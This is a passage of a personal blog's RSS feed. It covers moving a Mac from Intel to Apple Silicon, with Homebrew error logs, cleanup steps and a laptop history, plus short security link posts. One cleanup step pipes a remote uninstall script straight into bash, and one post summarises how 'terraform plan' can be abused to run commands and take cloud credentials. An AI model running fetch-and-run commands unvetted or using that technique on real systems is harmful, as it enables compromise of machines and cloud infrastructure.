  970. <span style="color: red">Installing xhyve has failed!</span></pre>
  971. <pre><span style="color: green">Installing jsmin</span>
  972. <span style="color: orange">Warning:</span> 'jsmin' formula is unreadable: No available formula with the name "jsmin". Did you mean jsmn, jasmin or jsign?
  973. Warning: No available formula with the name "jsmin". Did you mean jsmn, jasmin or jsign?
  974. ==&gt; Searching for similarly named formulae...
  975. ==&gt; Formulae
  976. jsmn
  977. jasmin
  978. jsign
  979.  
  980. To install jsmn, run:
  981.  brew install jsmn
  982. <span style="color: red">Installing jsmin has failed!</span></pre>
  983. <pre><span style="color: green">Installing sslyze</span>
  984. Error: sslyze has been disabled because it uses deprecated `openssl@1.1`! It was disabled on 2024-04-05.
  985. <span style="color: red">Installing sslyze has failed!</span></pre>
  986. <pre><span style="color: green">Installing virtualbox-extension-pack</span>
  987. Warning: Cask 'virtualbox-extension-pack' is unavailable: No Cask with this name exists.
  988. ==&gt; Searching for similarly named casks...
  989. ==&gt; Casks
  990. virtualbox@beta
  991.  
  992. To install virtualbox@beta, run:
  993.  brew install --cask virtualbox@beta
  994. <span style="color: red">Installing virtualbox-extension-pack has failed!</span></pre>
  995. <pre><span style="color: green">Installing docker-compose-completion</span>
  996. <span style="color: orange">Warning:</span> 'docker-compose-completion' formula is unreadable: No available formula with the name "docker-compose-completion". Did you mean docker-completion?
  997. Warning: No available formula with the name "docker-compose-completion". Did you mean docker-completion?
  998. ==&gt; Searching for similarly named formulae...
  999. ==&gt; Formulae
  1000. docker-completion
  1001.  
  1002. To install docker-completion, run:
  1003.  brew install docker-completion
  1004. <span style="color: red">Installing docker-compose-completion has failed!</span></pre>
  1005. <pre><span style="color: green">Installing visitors</span>
  1006. Error: visitors has been disabled because it has a removed upstream repository! It was disabled on 2024-02-21.
  1007. <span style="color: red">Installing visitors has failed!</span></pre>
  1008. <pre><span style="color: green">Installing osxfuse</span>
  1009. Password:
  1010. ==&gt; Caveats
  1011. `osxfuse` has been succeeded by `macfuse` as of version 4.0.0.
  1012.  
  1013. To update to a newer version, do:
  1014.  brew uninstall osxfuse
  1015.  brew install macfuse
  1016.  
  1017. osxfuse requires a kernel extension to work.
  1018. If the installation fails, retry after you enable it in:
  1019.  System Settings → Privacy &amp; Security
  1020.  
  1021. For more information, refer to vendor documentation or this Apple Technical Note:
  1022.  https://developer.apple.com/library/content/technotes/tn2459/_index.html
  1023.  
  1024. You must reboot for the installation of osxfuse to take effect.
  1025.  
  1026. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/o/osxfuse.rb
  1027. ==&gt; Downloading https://github.com/osxfuse/osxfuse/releases/download/osxfuse-3.11.2/osxfuse-3.11.2.dmg
  1028. ==&gt; Downloading from https://objects.githubusercontent.com/github-production-release-asset-[...]
  1029. ==&gt; Installing Cask osxfuse
  1030. ==&gt; Running installer for osxfuse with sudo; the password may be necessary.
  1031. installer: Error - Das FUSE for macOS Installationspacket ist nicht kompatibel mit dieser macOS Version.
  1032. Error: Failure while executing; `/usr/bin/sudo -u root -E LOGNAME=aj USER=aj USERNAME=aj -- /usr/sbin/installer -pkg /opt/homebrew/Caskroom/osxfuse/3.11.2/Extras/FUSE\ for\ macOS\ 3.11.2.pkg -target /` exited with 1. Here's the output:
  1033. installer: Error - Das FUSE for macOS Installationspacket ist nicht kompatibel mit dieser macOS Version.
  1034. ==&gt; Purging files for version 3.11.2 of Cask osxfuse
  1035. <span style="color: red">Installing osxfuse has failed!</span></pre>
  1036. <pre><span style="color: green">Installing tuntap</span>
  1037. Warning: Cask 'tuntap' is unavailable: No Cask with this name exists.
  1038. ==&gt; Searching for similarly named casks...
  1039. ==&gt; Casks
  1040. tunetag
  1041.  
  1042. To install tunetag, run:
  1043.  brew install --cask tunetag
  1044. <span style="color: red">Installing tuntap has failed!</span></pre>
  1045. <pre><span style="color: green">Installing mailtrackerblocker</span>
  1046. Warning: mailtrackerblocker has been deprecated because it is now exclusively distributed on the Mac App Store! It will be disabled on 2025-04-22.
  1047. ==&gt; Downloading https://raw.githubusercontent.com/Homebrew/homebrew-cask/1ef784f287cce93f2bb54bea66ae7ac0953f623b/Casks/m/mailtrackerblocker.rb
  1048. Error: This cask does not run on macOS versions newer than Ventura.
  1049. <span style="color: red">Installing mailtrackerblocker has failed!</span></pre>
  1050. <p>
  1051. This concludes the warnings and errors I ignored.<br>
  1052. And there is a little exception.<br>
  1053. For mailtrackerblocker I did not completely ignore the error, but rather installed the paid <a href="https://apparition47.github.io/MailTrackerBlocker/" title="MailTrackerBlocker for Mail on macOS">MailTrackerBlocker for Mail</a> application from the App Store.
  1054. </p>
  1055. <p>
  1056. <b>Cleaning up the old Homebrew installation</b><br>
  1057. We still have all the no longer needed Intel-binaries and old Homebrew framework in <var>/usr/local</var>.<br>
  1058. Time to clean this up.
  1059. Homebrew nicely provides a script to help (partially) with this:
  1060. </p>
  1061. <pre>/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/uninstall.sh)" -- --path=/usr/local</pre>
  1062. <p>
  1063. This will remove most of the old Homebrew installation but will likely fail to remove everything.<br>
  1064. Especially in my situation with years of cruft accumulated, this was the case.<br>
  1065. I ended up with the following output from the cleanup script:
  1066. </p>
  1067. <pre>==&gt; /usr/bin/sudo rmdir /usr/local
  1068. rmdir: /usr/local: Operation not permitted
  1069. Warning: Failed during: /usr/bin/sudo rmdir /usr/local
  1070. Warning: Homebrew partially uninstalled (but there were steps that failed)!
  1071. To finish uninstalling rerun this script with `sudo`.
  1072. The following possible Homebrew files were not deleted:
  1073. /usr/local/.com.apple.installer.keep
  1074. /usr/local/Cellar/
  1075. /usr/local/Frameworks/
  1076. /usr/local/Homebrew/
  1077. /usr/local/MacGPG2/
  1078. /usr/local/bin/
  1079. /usr/local/etc/
  1080. /usr/local/include/
  1081. /usr/local/lib/
  1082. /usr/local/man/
  1083. /usr/local/opt/
  1084. /usr/local/remotedesktop/
  1085. /usr/local/sbin/
  1086. /usr/local/share/
  1087. /usr/local/tests/
  1088. /usr/local/var/
  1089. You may wish to remove them yourself.</pre>
  1090. <p>
  1091. I manually went through all these folders and removed what I could identify as obsolete and no longer needed leftovers.<br>
  1092. Important though for example the MacGPG2 folder seems to come from the GPGTools installation, thus be aware that there are other things than Homebrew which might have installed some software under <var>/usr/local</var> and not everyhting must necessarily be removed.
  1093. </p>
  1094. <p>
  1095. <b>Unsolved problems</b><br>
  1096. As mentioned there are some things which I haven't figured out how to fix yet.
  1097. <p>
  1098. <p>
  1099. I'm missing a good solution for <a href="https://vgough.github.io/encfs/" title="EncFS">encfs</a> (which is no longer provided by Homebrew due to license changes of the underlying MacFuse project).
  1100. Compiling from source (at least through Homebrew) is not supported either (as it is marked as Linux-only and complilation is not supported anymore on macOS).<br>
  1101. <b>Update:</b> found a solution for <a href="https://blog.x-way.org/Mac/2024/12/03/How-to-install-EncFS-on-macOS-Sequoia.html" title="x-log - How to install EncFS on MacOS Sequoia">how to install EncFS on macOS Sequoia</a>.
  1102. </p>
  1103. <p>
  1104. Another missing thing (which is more a problem of not having time to deal with it yet), is the Perl ecosystem including CPAN package management.
  1105. Here probably some research to find the canonical way for installing Perl in macOS 15 is all I need. 🐪
  1106. </p>
  1107. ]]></content:encoded>
  1108.  </item>
  1109.  
  1110.  <item>
  1111.    <title>Migrate Syncthing from Intel to M4</title>
  1112.    <link>https://blog.x-way.org/Mac/2024/11/30/Migrate-Syncthing-from-Intel-to-M4.html</link>
  1113.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324429</guid>
  1114.    <dc:creator>Andreas Jaggi</dc:creator>
  1115.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1116.    <pubDate>Sat, 30 Nov 2024 22:27:21 +0100</pubDate>
  1117.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  1118.    <description><![CDATA[<p>
  1119. After <a href="https://blog.x-way.org/Mac/2024/11/30/Move-from-2017-Intel-MacBook-Pro-to-2024-M4-MacBook-Pro.html" title="x-log - Move from 2017 Intel MacBook Pro to 2024 M4 MacBook Pro">switching to an Apple Silicon CPU</a>, I'm now hunting down all the Intel-only binaries on my system.<br>
  1120. Using the Activity Monitor and ordering the processes by <var>Kind</var> is quite helpful for this.
  1121. </p>
  1122. <p>
  1123. So I identified <a href="https://syncthing.net/" title="Syncthing">Syncthing</a> to be still running as an Intel-only binary with the Rosetta 2 emulation.<br>
  1124. My <a href="https://docs.syncthing.net/users/autostart.html#without-homebrew" title="Starting Syncthing Automatically - Without Homebrew">installation of Syncthing</a> is quite old, so it isn't managed by Homebrew yet.<br>
  1125. This actually made the switch quite easy:
  1126. </p>
  1127. <ul>
  1128. <li>Shutdown syncthing</li>
  1129. <li>Download latest release zip for macos-arm64 from <a href="https://github.com/syncthing/syncthing/releases/latest" title="Latest Release - syncthing/syncthing">https://github.com/syncthing/syncthing/releases/latest</a></li>
  1130. <li>Remove the old binaries:<pre>rm $HOME/bin/syncthing
  1131. rm $HOME/bin/syncthing.old</pre></li>
  1132. <li>Unzip the downloaded release and move the <var>syncthing</var> binary to <var>$HOME/bin/syncthing</var></li>
  1133. <li>Kill all running syncthing processes (they are auto-restarted via launchd)</li>
  1134. <li>You might get a popup to approve the newly downloaded binary when launchd does the restart</li>
  1135. <li>Check in Activity Monitor that the running Syncthing processes are now Apple binaries 🍏</li>
  1136. </ul>
  1137. ]]></description>
  1138.    <content:encoded><![CDATA[<p>
  1139. After <a href="https://blog.x-way.org/Mac/2024/11/30/Move-from-2017-Intel-MacBook-Pro-to-2024-M4-MacBook-Pro.html" title="x-log - Move from 2017 Intel MacBook Pro to 2024 M4 MacBook Pro">switching to an Apple Silicon CPU</a>, I'm now hunting down all the Intel-only binaries on my system.<br>
  1140. Using the Activity Monitor and ordering the processes by <var>Kind</var> is quite helpful for this.
  1141. </p>
  1142. <p>
  1143. So I identified <a href="https://syncthing.net/" title="Syncthing">Syncthing</a> to be still running as an Intel-only binary with the Rosetta 2 emulation.<br>
  1144. My <a href="https://docs.syncthing.net/users/autostart.html#without-homebrew" title="Starting Syncthing Automatically - Without Homebrew">installation of Syncthing</a> is quite old, so it isn't managed by Homebrew yet.<br>
  1145. This actually made the switch quite easy:
  1146. </p>
  1147. <ul>
  1148. <li>Shutdown syncthing</li>
  1149. <li>Download latest release zip for macos-arm64 from <a href="https://github.com/syncthing/syncthing/releases/latest" title="Latest Release - syncthing/syncthing">https://github.com/syncthing/syncthing/releases/latest</a></li>
  1150. <li>Remove the old binaries:<pre>rm $HOME/bin/syncthing
  1151. rm $HOME/bin/syncthing.old</pre></li>
  1152. <li>Unzip the downloaded release and move the <var>syncthing</var> binary to <var>$HOME/bin/syncthing</var></li>
  1153. <li>Kill all running syncthing processes (they are auto-restarted via launchd)</li>
  1154. <li>You might get a popup to approve the newly downloaded binary when launchd does the restart</li>
  1155. <li>Check in Activity Monitor that the running Syncthing processes are now Apple binaries 🍏</li>
  1156. </ul>
  1157. ]]></content:encoded>
  1158.  </item>
  1159.  
  1160.  <item>
  1161.    <title>Move from 2017 Intel MacBook Pro to 2024 M4 MacBook Pro</title>
  1162.    <link>https://blog.x-way.org/Mac/2024/11/30/Move-from-2017-Intel-MacBook-Pro-to-2024-M4-MacBook-Pro.html</link>
  1163.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324427</guid>
  1164.    <dc:creator>Andreas Jaggi</dc:creator>
  1165.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1166.    <pubDate>Sat, 30 Nov 2024 21:28:31 +0100</pubDate>
  1167.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  1168.    <description><![CDATA[<p>
  1169. The <a href="https://blog.x-way.org/Misc/2024/11/29/Out-for-Delivery.html" title="x-log - Out for Delivery">new laptop</a> arrived and now it's time for the big migration.<br>
  1170. This includes not only a change in the physical device, but also a change in OS version and more importantly in CPU architecture.<br>
  1171. Luckily there are some very helpful tools making this a quite smooth experience.
  1172. </p>
  1173. <p>
  1174. Overal plan of attack:
  1175. </p>
  1176. <ul>
  1177. <li>Make a Time Machine backup to an external USB disk.</li>
  1178. <li>Start the new laptop and use the Migration Assistant to restore from the Time Machine backup.</li>
  1179. <li>Go to sleep / do something else, while the restore process is running.</li>
  1180. <li>After the restore is completed, login and fix all the problems caused by the OS version and CPU architecture change :-)</li>
  1181. </ul>
  1182. <p>
  1183. This plan worked quite well for me (as I'm already writing this blogpost with the new laptop).<br>
  1184. There are of course some expected and some unexptected problems that need to be addressed.
  1185. </p>
  1186. <p>
  1187. <b>Rosetta 2</b><br>
  1188. Directly after the first start, there was a system message asking me if Rosetta 2 should be enabled.<br>
  1189. Rosetta 2 is the emulation layer built into macOS that allows to run Intel-only binaries on the Apple Silicon CPUs.<br>
  1190. To reduce the ammount of immediate problems to fix, I enabled it for now.<br>
  1191. Even though over time I plan to replace all Intel-only binaries with newer versions.
  1192. </p>
  1193. <p>
  1194. <b>1Password</b><br>
  1195. One unexpected problem was <a href="https://1password.com/" title="Top-Rated Password Manager | 1Password">1Password</a>.
  1196. There I was prompted to install the old version 7 from the App Store.<br>
  1197. It took some time to figure out that the current version 8 is no longer distributed through the App Store.<br>
  1198. Instead I had to remove the (freshly installed) 1Password 7 App from <var>/Applications</var>.
  1199. And then needed to download their <a href="https://1password.com/downloads/mac" title="Download 1Password for Mac">custom installer</a> from their website.<br>
  1200. The installer in turn then did download and install the latest 1Password version 8.
  1201. </p>
  1202. <p>
  1203. <b>Homebrew</b><br>
  1204. On the list of expected problems was <a href="https://brew.sh/" title="Homebrew — The Missing Package Manager for macOS">Homebrew</a>.<br>
  1205. Here not only I had a big collection of pre-compiled (for Intel) opensource binaries that needed to be changed into pre-compiled binaries for Apple Silicon.
  1206. But also the root folder of the whole Homebrew installation changed from <var>/usr/local</var> to <var>/opt/homebrew</var>.<br>
  1207. And to make matters worse, some of the non-opensource software distributed by Homebrew in so called <var>casks</var> keeps using the old <var>/usr/local</var>.<br>
  1208. For the migration of the binaries, I followed the FAQ entry <a href="https://docs.brew.sh/Common-Issues#unintentional-dual-homebrew-installations" title="Common Issues - Unintentional dual Homebrew installations">here</a>.<br>
  1209. As expected this did not go over completely smooth and quite some research, manual fixing and cleanup was needed.<br>
  1210. I will write more about the problems/fixes and tricks I found out in a future blogpost.<br>
  1211. <b>Update:</b> please have a look at <a href="https://blog.x-way.org/Mac/2024/12/01/Migrate-Homebrew-from-Intel-to-M4-MacBook-Pro.html" title="x-log - Migrate Homebrew from Intel to M4 MacBook Pro">the dedicated blogpost</a> for all the tricks and learnings of the Homebrew migration.
  1212. </p>
  1213. <p>
  1214. <b>GPGTools</b><br>
  1215. Not completely unexpected, but surprisingly smooth was the migration of MacGPG and the GPG plugin for Mail.app.<br>
  1216. They provide a <a href="https://gpgtools.org/sequoia" title="GPG Suite">dedicated version</a> of the software which brings compatibility with macOS Sequoia.<br>
  1217. After running the installer to update the software, only a re-entering of the license key is needed and everything works as before.
  1218. </p>
  1219. <p>
  1220. Besides the already mentioned surprises with Homebrew, there are still some other issues left to be fixed (and possibly new ones to be discovered).<br>
  1221. Overall the laptop is working very well and my familiar environment is mostly there 😌
  1222. </p>
  1223. ]]></description>
  1224.    <content:encoded><![CDATA[<p>
  1225. The <a href="https://blog.x-way.org/Misc/2024/11/29/Out-for-Delivery.html" title="x-log - Out for Delivery">new laptop</a> arrived and now it's time for the big migration.<br>
  1226. This includes not only a change in the physical device, but also a change in OS version and more importantly in CPU architecture.<br>
  1227. Luckily there are some very helpful tools making this a quite smooth experience.
  1228. </p>
  1229. <p>
  1230. Overal plan of attack:
  1231. </p>
  1232. <ul>
  1233. <li>Make a Time Machine backup to an external USB disk.</li>
  1234. <li>Start the new laptop and use the Migration Assistant to restore from the Time Machine backup.</li>
  1235. <li>Go to sleep / do something else, while the restore process is running.</li>
  1236. <li>After the restore is completed, login and fix all the problems caused by the OS version and CPU architecture change :-)</li>
  1237. </ul>
  1238. <p>
  1239. This plan worked quite well for me (as I'm already writing this blogpost with the new laptop).<br>
  1240. There are of course some expected and some unexptected problems that need to be addressed.
  1241. </p>
  1242. <p>
  1243. <b>Rosetta 2</b><br>
  1244. Directly after the first start, there was a system message asking me if Rosetta 2 should be enabled.<br>
  1245. Rosetta 2 is the emulation layer built into macOS that allows to run Intel-only binaries on the Apple Silicon CPUs.<br>
  1246. To reduce the ammount of immediate problems to fix, I enabled it for now.<br>
  1247. Even though over time I plan to replace all Intel-only binaries with newer versions.
  1248. </p>
  1249. <p>
  1250. <b>1Password</b><br>
  1251. One unexpected problem was <a href="https://1password.com/" title="Top-Rated Password Manager | 1Password">1Password</a>.
  1252. There I was prompted to install the old version 7 from the App Store.<br>
  1253. It took some time to figure out that the current version 8 is no longer distributed through the App Store.<br>
  1254. Instead I had to remove the (freshly installed) 1Password 7 App from <var>/Applications</var>.
  1255. And then needed to download their <a href="https://1password.com/downloads/mac" title="Download 1Password for Mac">custom installer</a> from their website.<br>
  1256. The installer in turn then did download and install the latest 1Password version 8.
  1257. </p>
  1258. <p>
  1259. <b>Homebrew</b><br>
  1260. On the list of expected problems was <a href="https://brew.sh/" title="Homebrew — The Missing Package Manager for macOS">Homebrew</a>.<br>
  1261. Here not only I had a big collection of pre-compiled (for Intel) opensource binaries that needed to be changed into pre-compiled binaries for Apple Silicon.
  1262. But also the root folder of the whole Homebrew installation changed from <var>/usr/local</var> to <var>/opt/homebrew</var>.<br>
  1263. And to make matters worse, some of the non-opensource software distributed by Homebrew in so called <var>casks</var> keeps using the old <var>/usr/local</var>.<br>
  1264. For the migration of the binaries, I followed the FAQ entry <a href="https://docs.brew.sh/Common-Issues#unintentional-dual-homebrew-installations" title="Common Issues - Unintentional dual Homebrew installations">here</a>.<br>
  1265. As expected this did not go over completely smooth and quite some research, manual fixing and cleanup was needed.<br>
  1266. I will write more about the problems/fixes and tricks I found out in a future blogpost.<br>
  1267. <b>Update:</b> please have a look at <a href="https://blog.x-way.org/Mac/2024/12/01/Migrate-Homebrew-from-Intel-to-M4-MacBook-Pro.html" title="x-log - Migrate Homebrew from Intel to M4 MacBook Pro">the dedicated blogpost</a> for all the tricks and learnings of the Homebrew migration.
  1268. </p>
  1269. <p>
  1270. <b>GPGTools</b><br>
  1271. Not completely unexpected, but surprisingly smooth was the migration of MacGPG and the GPG plugin for Mail.app.<br>
  1272. They provide a <a href="https://gpgtools.org/sequoia" title="GPG Suite">dedicated version</a> of the software which brings compatibility with macOS Sequoia.<br>
  1273. After running the installer to update the software, only a re-entering of the license key is needed and everything works as before.
  1274. </p>
  1275. <p>
  1276. Besides the already mentioned surprises with Homebrew, there are still some other issues left to be fixed (and possibly new ones to be discovered).<br>
  1277. Overall the laptop is working very well and my familiar environment is mostly there 😌
  1278. </p>
  1279. ]]></content:encoded>
  1280.  </item>
  1281.  
  1282.  <item>
  1283.    <title>Out for Delivery</title>
  1284.    <link>https://blog.x-way.org/Misc/2024/11/29/Out-for-Delivery.html</link>
  1285.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324426</guid>
  1286.    <dc:creator>Andreas Jaggi</dc:creator>
  1287.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1288.    <pubDate>Fri, 29 Nov 2024 11:28:38 +0100</pubDate>
  1289.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  1290.    <description><![CDATA[<p>
  1291. <img src="https://blog.x-way.org/images/out-for-delivery.png" width="584" height="133" alt="Out for Delivery" />
  1292. </p>
  1293. <p>
  1294. <a href="https://blog.x-way.org/Mac/2024/11/17/My-Mac-history.html" title="x-log - My Mac history">It's</a> getting closer and closer... 😊
  1295. </p>
  1296. ]]></description>
  1297.    <content:encoded><![CDATA[<p>
  1298. <img src="https://blog.x-way.org/images/out-for-delivery.png" width="584" height="133" alt="Out for Delivery" />
  1299. </p>
  1300. <p>
  1301. <a href="https://blog.x-way.org/Mac/2024/11/17/My-Mac-history.html" title="x-log - My Mac history">It's</a> getting closer and closer... 😊
  1302. </p>
  1303. ]]></content:encoded>
  1304.  </item>
  1305.  
  1306.  <item>
  1307.    <title>My Mac history</title>
  1308.    <link>https://blog.x-way.org/Mac/2024/11/17/My-Mac-history.html</link>
  1309.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324425</guid>
  1310.    <dc:creator>Andreas Jaggi</dc:creator>
  1311.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1312.    <pubDate>Sun, 17 Nov 2024 18:10:59 +0100</pubDate>
  1313.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  1314.    <description><![CDATA[<p>
  1315. My current laptop is dying of age after 7 years. Thus I'm getting a new one to replace it.<br>
  1316. As part of the research, I looked for my last laptop purchase.<br>
  1317. I not only found my last one, but also all the previous ones.<br>
  1318. So I established my personal Mac history:
  1319. </p>
  1320. <table>
  1321. <thead>
  1322. <tr><th>Purchased</th><th>Type</th><th>Display</th><th>Processor</th><th>Memory</th><th>Storage</th></tr>
  1323. </thead>
  1324. <tbody>
  1325. <tr><td>October 2003</td><td>PowerBook</td><td>15.2&Prime;</td><td>1.25GHz PowerPC G4</td><td>512MB</td><td>80GB</td></tr>
  1326. <tr><td>January 2007</td><td>MacBook Pro</td><td>15.4&Prime;</td><td>2.33GHz Intel Core 2 Duo</td><td>2GB</td><td>120GB</td></tr>
  1327. <tr><td>May 2012</td><td>MacBook Pro</td><td>15.4&Prime;</td><td>2.5GHz Quad-Core Intel Core i7</td><td>8GB</td><td>750GB</td></tr>
  1328. <tr><td>October 2017</td><td>MacBook Pro</td><td>13.3&Prime;</td><td>2.3GHz Dual-Core Intel Core i5</td><td>16GB</td><td>1TB</td></tr>
  1329. <tr><td>November 2024</td><td>MacBook Pro</td><td>14.2&Prime;</td><td>M4 Pro 14-Core CPU, 20-Core GPU, 16-Core Neural Engine</td><td>48GB</td><td>2TB</td></tr>
  1330. </tbody>
  1331. </table>
  1332. <p>
  1333. Reflecting on it, it seems I get quite a good milage out of my laptops.<br>
  1334. Current replacement due to age related failures after 7 years is the top one.
  1335. </p>
  1336. <p>
  1337. The previous 2017 replacement was similar due to age related failures after 5 years.
  1338. </p>
  1339. <p>
  1340. For the 2012 replacement it is a bit of a different story, as my laptop at the time was stolen from me.<br>
  1341. But I still got five years out of it before that.
  1342. </p>
  1343. <p>
  1344. The 2007 replacement was the switch to Intel after 4 years on PowerPC.<br>
  1345. I was very happy with my PowerBook at the time, even helped to reverse-engineer the wireless chipset to <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/drivers/net/wireless/broadcom/b43/main.c?h=v6.11.9#n10" title="main.c « b43 « broadcom « wireless « net « drivers - kernel/git/stable/linux.git - Linux kernel stable tree">write the Linux driver</a> for it :-)
  1346. </p>
  1347. ]]></description>
  1348.    <content:encoded><![CDATA[<p>
  1349. My current laptop is dying of age after 7 years. Thus I'm getting a new one to replace it.<br>
  1350. As part of the research, I looked for my last laptop purchase.<br>
  1351. I not only found my last one, but also all the previous ones.<br>
  1352. So I established my personal Mac history:
  1353. </p>
  1354. <table>
  1355. <thead>
  1356. <tr><th>Purchased</th><th>Type</th><th>Display</th><th>Processor</th><th>Memory</th><th>Storage</th></tr>
  1357. </thead>
  1358. <tbody>
  1359. <tr><td>October 2003</td><td>PowerBook</td><td>15.2&Prime;</td><td>1.25GHz PowerPC G4</td><td>512MB</td><td>80GB</td></tr>
  1360. <tr><td>January 2007</td><td>MacBook Pro</td><td>15.4&Prime;</td><td>2.33GHz Intel Core 2 Duo</td><td>2GB</td><td>120GB</td></tr>
  1361. <tr><td>May 2012</td><td>MacBook Pro</td><td>15.4&Prime;</td><td>2.5GHz Quad-Core Intel Core i7</td><td>8GB</td><td>750GB</td></tr>
  1362. <tr><td>October 2017</td><td>MacBook Pro</td><td>13.3&Prime;</td><td>2.3GHz Dual-Core Intel Core i5</td><td>16GB</td><td>1TB</td></tr>
  1363. <tr><td>November 2024</td><td>MacBook Pro</td><td>14.2&Prime;</td><td>M4 Pro 14-Core CPU, 20-Core GPU, 16-Core Neural Engine</td><td>48GB</td><td>2TB</td></tr>
  1364. </tbody>
  1365. </table>
  1366. <p>
  1367. Reflecting on it, it seems I get quite a good milage out of my laptops.<br>
  1368. Current replacement due to age related failures after 7 years is the top one.
  1369. </p>
  1370. <p>
  1371. The previous 2017 replacement was similar due to age related failures after 5 years.
  1372. </p>
  1373. <p>
  1374. For the 2012 replacement it is a bit of a different story, as my laptop at the time was stolen from me.<br>
  1375. But I still got five years out of it before that.
  1376. </p>
  1377. <p>
  1378. The 2007 replacement was the switch to Intel after 4 years on PowerPC.<br>
  1379. I was very happy with my PowerBook at the time, even helped to reverse-engineer the wireless chipset to <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/drivers/net/wireless/broadcom/b43/main.c?h=v6.11.9#n10" title="main.c « b43 « broadcom « wireless « net « drivers - kernel/git/stable/linux.git - Linux kernel stable tree">write the Linux driver</a> for it :-)
  1380. </p>
  1381. ]]></content:encoded>
  1382.  </item>
  1383.  
  1384.  <item>
  1385.    <title>GitFlops: The Dangers of Terraform Automation Platforms</title>
  1386.    <link>https://blog.x-way.org/Misc/2024/11/14/GitFlops-The-Dangers-of-Terraform-Automation-Platforms.html</link>
  1387.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324424</guid>
  1388.    <dc:creator>Andreas Jaggi</dc:creator>
  1389.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1390.    <pubDate>Thu, 14 Nov 2024 10:00:27 +0100</pubDate>
  1391.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  1392.    <description><![CDATA[<p>
  1393. In the <a href="https://snyk.io/de/blog/gitflops-dangers-of-terraform-automation-platforms/" title="GitFlops: The Dangers of Terraform Automation Platforms | Snyk">GitFlops: The Dangers of Terraform Automation Platforms</a> article Elliot Ward highlights how <a href="https://www.terraform.io/" title="Terraform by HashiCorp">Terraform</a> automation platforms can be exploited to compromise cloud environments.
  1394. </p>
  1395. <p>
  1396. In particular it looks at how to exploit the <code>terraform plan</code> phase to execute commands and gain access to cloud infrastructure credentials.<br>
  1397. In combination with a classic GitOps flow, where unprivileged users can open pull-requests and <code>terraform plan</code> is run on these pull-requests, this creates privilege escalation vulnerabilities putting the cloud infrastructure at risk.
  1398. </p>
  1399. <p>
  1400. In terms of preventing this, the recommendation is to validate Terraform config before running <code>terraform plan</code> on it.<br>
  1401. One tool mentioned in the article that can be used to for this validation is <a href="https://www.conftest.dev/" title="Conftest">Conftest</a>.
  1402. </p>
  1403. <p>
  1404. A month ago, <a href="https://bern.bsides.ch/agenda/abstracts-and-bios/#terraform" title="Security Bsides Bern">Elliot also presented the topic at the BSides Bern conference</a>.<br>
  1405. The slides of the presentation have been made available by the conference, <a href="https://blog.x-way.org/stuff/2-Elliot-BSides-Bern-2024.pdf" title="GitFlops: Breaking Terraform Lifecycle Management Tool">here is a copy</a>.
  1406. </p>
  1407. ]]></description>
  1408.    <content:encoded><![CDATA[<p>
  1409. In the <a href="https://snyk.io/de/blog/gitflops-dangers-of-terraform-automation-platforms/" title="GitFlops: The Dangers of Terraform Automation Platforms | Snyk">GitFlops: The Dangers of Terraform Automation Platforms</a> article Elliot Ward highlights how <a href="https://www.terraform.io/" title="Terraform by HashiCorp">Terraform</a> automation platforms can be exploited to compromise cloud environments.
  1410. </p>
  1411. <p>
  1412. In particular it looks at how to exploit the <code>terraform plan</code> phase to execute commands and gain access to cloud infrastructure credentials.<br>
  1413. In combination with a classic GitOps flow, where unprivileged users can open pull-requests and <code>terraform plan</code> is run on these pull-requests, this creates privilege escalation vulnerabilities putting the cloud infrastructure at risk.
  1414. </p>
  1415. <p>
  1416. In terms of preventing this, the recommendation is to validate Terraform config before running <code>terraform plan</code> on it.<br>
  1417. One tool mentioned in the article that can be used to for this validation is <a href="https://www.conftest.dev/" title="Conftest">Conftest</a>.
  1418. </p>
  1419. <p>
  1420. A month ago, <a href="https://bern.bsides.ch/agenda/abstracts-and-bios/#terraform" title="Security Bsides Bern">Elliot also presented the topic at the BSides Bern conference</a>.<br>
  1421. The slides of the presentation have been made available by the conference, <a href="https://blog.x-way.org/stuff/2-Elliot-BSides-Bern-2024.pdf" title="GitFlops: Breaking Terraform Lifecycle Management Tool">here is a copy</a>.
  1422. </p>
  1423. ]]></content:encoded>
  1424.  </item>
  1425.  
  1426.  <item>
  1427.    <title>Surveillance Self-Defense</title>
  1428.    <link>https://blog.x-way.org/Misc/2024/11/12/Surveillance-Self-Defense.html</link>
  1429.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324423</guid>
  1430.    <dc:creator>Andreas Jaggi</dc:creator>
  1431.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  1432.    <pubDate>Tue, 12 Nov 2024 23:42:37 +0100</pubDate>
  1433.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  1434.    <description><![CDATA[<p>
  1435. The <a href="https://www.eff.org/" title="Electronic Frontier Foundation | Defending your rights in the digital world">Electronic Frontier Foundation</a> provides the <a href="https://ssd.eff.org/" title="Surveillance Self-Defense">Surveillance Self-Defense</a> guide.
  1436. </p>
  1437. <p>
  1438. When talking about security it is important to known what you want to protect.<br>
  1439. The <a href="https://ssd.eff.org/module/your-security-plan" title="Your Security Plan | Surveillance Self-Defense">Your Security Plan</a> module of the guide covers this topic and is a good starting point.
  1440. </p>
  1441. <p>
